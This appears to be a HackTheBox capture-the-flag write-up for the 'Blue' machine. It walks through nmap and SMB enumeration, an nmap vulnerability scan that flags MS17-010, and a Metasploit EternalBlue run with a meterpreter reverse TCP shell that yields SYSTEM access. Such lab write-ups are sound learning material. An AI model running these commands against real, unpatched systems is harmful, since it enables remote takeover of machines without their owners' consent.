Blue HackTheBox
IP Address = 10.10.10.40
Difficulty = Easy
Nmap Scan
└─$ nmap -sCV -A 10.10.10.40 -p135,139,445 -oN nmapscan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-31 11:47 WAT
Nmap scan report for 10.10.10.40
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2s, deviation: 1s, median: 2s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2023-01-31T10:48:14
|_ start_date: 2023-01-31T10:45:06
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-01-31T10:48:11+00:00
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.96 seconds
We see only smb thats open
I’ll try connecting to it
┌──(venv)─(mark__haxor)-[~/Desktop/B2B/HTB/Blue]
└─$ smbclient -L 10.10.10.40
Password for [WORKGROUP\mark]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
┌──(venv)─(mark__haxor)-[~/Desktop/B2B/HTB/Blue]
└─$ smbclient //10.10.10.40/Users
Password for [WORKGROUP\mark]:
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Fri Jul 21 07:56:23 2017
.. DR 0 Fri Jul 21 07:56:23 2017
Default DHR 0 Tue Jul 14 08:07:31 2009
desktop.ini AHS 174 Tue Jul 14 05:54:24 2009
Public DR 0 Tue Apr 12 08:51:29 2011
4692735 blocks of size 4096. 593039 blocks available
smb: \>
┌──(venv)─(mark__haxor)-[~/Desktop/B2B/HTB/Blue]
└─$ smbclient //10.10.10.40/Share
Password for [WORKGROUP\mark]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jul 14 14:48:44 2017
.. D 0 Fri Jul 14 14:48:44 2017
4692735 blocks of size 4096. 593039 blocks available
smb: \
But nothing really is in it
So i’ll run nmap again but this time include the vulnerability check script
└─$ nmap --script "vuln" 10.10.10.40 -p445
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-31 11:51 WAT
Nmap scan report for 10.10.10.40
Host is up (0.14s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done: 1 IP address (1 host up) scanned in 30.29 seconds
Ah nice its vulnerable o ms17-010
Lets hope on to metasploit
└─$ msfconsole
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
..........................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
ccccccccc.................
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
.................ccccccccc
cccccccccccccccccccccccccc
cccccccccccccccccccccccccc
..........................
ffffffffffffffffffffffffff
ffffffff..................
ffffffffffffffffffffffffff
ffffffff..................
ffffffff..................
ffffffff..................
Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
=[ metasploit v6.2.9-dev ]
+ -- --=[ 2229 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
[*] Starting persistent handler(s)...
msf6 >
I’ll search for the exploit, set the required argument, then run it
msf6 > search ms17
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/fileformat/office_ms17_11882 2017-11-15 manual No Microsoft Office CVE-2017-11882
5 auxiliary/admin/mssql/mssql_escalate_execute_as normal No Microsoft SQL Server Escalate EXECUTE AS
6 auxiliary/admin/mssql/mssql_escalate_execute_as_sqli normal No Microsoft SQL Server SQLi Escalate Execute AS
7 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 7, use 7 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost tun0
lhost => tun0
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.16.7:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (10.10.16.7:4444 -> 10.10.10.40:49158) at 2023-01-31 11:54:21 +0100
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
And we’re done